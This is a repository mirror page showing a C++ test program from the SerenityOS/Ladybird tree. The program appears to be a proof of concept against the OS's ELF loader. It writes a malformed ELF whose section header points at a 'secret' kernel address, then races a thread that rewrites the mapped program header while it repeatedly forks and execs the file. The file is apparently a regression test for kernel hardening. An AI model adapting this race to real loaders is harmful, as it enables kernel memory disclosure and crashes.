mirror of
https://github.com/LadybirdBrowser/ladybird.git
synced 2024-11-08 04:50:08 +03:00
1cd3826ad6
MAP_FILE is not in POSIX, and is simply in most LibCs as a "default" mode. Our own LibC defines it as 0, meaning "no flags". It is also not defined in some OS's, such as Haiku. Let's be more portable and not use the unnecessary flag.
142 lines
3.3 KiB
C++
142 lines
3.3 KiB
C++
/*
|
|
* Copyright (c) 2018-2020, the SerenityOS developers.
|
|
*
|
|
* SPDX-License-Identifier: BSD-2-Clause
|
|
*/
|
|
|
|
#include <AK/Types.h>
|
|
#include <elf.h>
|
|
#include <fcntl.h>
|
|
#include <pthread.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/mman.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
#include <unistd.h>
|
|
|
|
bool volatile hax = false;
|
|
|
|
int main()
|
|
{
|
|
char buffer[16384];
|
|
|
|
auto& header = *(Elf32_Ehdr*)buffer;
|
|
header.e_ident[EI_MAG0] = ELFMAG0;
|
|
header.e_ident[EI_MAG1] = ELFMAG1;
|
|
header.e_ident[EI_MAG2] = ELFMAG2;
|
|
header.e_ident[EI_MAG3] = ELFMAG3;
|
|
header.e_ident[EI_CLASS] = ELFCLASS32;
|
|
header.e_ident[EI_DATA] = ELFDATA2LSB;
|
|
header.e_ident[EI_VERSION] = EV_CURRENT;
|
|
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
|
|
header.e_ident[EI_ABIVERSION] = 0;
|
|
header.e_type = ET_EXEC;
|
|
header.e_version = EV_CURRENT;
|
|
header.e_ehsize = sizeof(Elf32_Ehdr);
|
|
header.e_machine = EM_386;
|
|
header.e_shentsize = sizeof(Elf32_Shdr);
|
|
|
|
header.e_phnum = 1;
|
|
header.e_phoff = 52;
|
|
header.e_phentsize = sizeof(Elf32_Phdr);
|
|
|
|
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
|
|
ph[0].p_vaddr = 0x20000000;
|
|
ph[0].p_type = PT_LOAD;
|
|
ph[0].p_filesz = sizeof(buffer);
|
|
ph[0].p_memsz = sizeof(buffer);
|
|
ph[0].p_flags = PF_R | PF_W;
|
|
ph[0].p_align = PAGE_SIZE;
|
|
|
|
header.e_shnum = 3;
|
|
header.e_shoff = 1024;
|
|
|
|
u32 secret_address = 0x00184658;
|
|
|
|
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
|
|
sh[0].sh_type = SHT_SYMTAB;
|
|
sh[0].sh_offset = 2048;
|
|
sh[0].sh_entsize = sizeof(Elf32_Sym);
|
|
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
|
|
|
|
sh[1].sh_type = SHT_STRTAB;
|
|
sh[1].sh_offset = secret_address - 0x01001000;
|
|
sh[1].sh_entsize = 0;
|
|
sh[1].sh_size = 1024;
|
|
|
|
sh[2].sh_type = SHT_STRTAB;
|
|
sh[2].sh_offset = 4096;
|
|
sh[2].sh_entsize = 0;
|
|
sh[2].sh_size = 1024;
|
|
header.e_shstrndx = 2;
|
|
|
|
auto* sym = (Elf32_Sym*)(&buffer[2048]);
|
|
sym[0].st_value = 0;
|
|
sym[0].st_name = 0;
|
|
|
|
header.e_entry = 0;
|
|
|
|
char path[] = "/tmp/x.XXXXXX";
|
|
auto fd = mkstemp(path);
|
|
if (fd < 0) {
|
|
perror("mkstemp");
|
|
return 1;
|
|
}
|
|
|
|
if (fchmod(fd, 0777) < 0) {
|
|
perror("chmod");
|
|
return 1;
|
|
}
|
|
|
|
int nwritten = write(fd, buffer, sizeof(buffer));
|
|
if (nwritten < 0) {
|
|
perror("write");
|
|
return 1;
|
|
}
|
|
|
|
sync();
|
|
|
|
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
|
if (mapped == MAP_FAILED) {
|
|
perror("mmap");
|
|
return 1;
|
|
}
|
|
|
|
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
|
|
|
|
pthread_attr_t attrs;
|
|
pthread_attr_init(&attrs);
|
|
sched_param high_prio { 99 };
|
|
pthread_attr_setschedparam(&attrs, &high_prio);
|
|
|
|
pthread_t t;
|
|
pthread_create(
|
|
&t, &attrs, [](void* ctx) -> void* {
|
|
auto& ph = *(volatile Elf32_Phdr*)ctx;
|
|
for (;;) {
|
|
if (!hax)
|
|
ph.p_offset = 0x60000000;
|
|
else
|
|
ph.p_offset = 0;
|
|
hax = !hax;
|
|
usleep(1);
|
|
}
|
|
},
|
|
&writable_program_headers[0]);
|
|
|
|
for (;;) {
|
|
|
|
if (!fork()) {
|
|
try_again:
|
|
printf("exec\n");
|
|
execl(path, "x", nullptr);
|
|
goto try_again;
|
|
}
|
|
|
|
printf("waitpid\n");
|
|
waitpid(-1, nullptr, 0);
|
|
}
|
|
}
|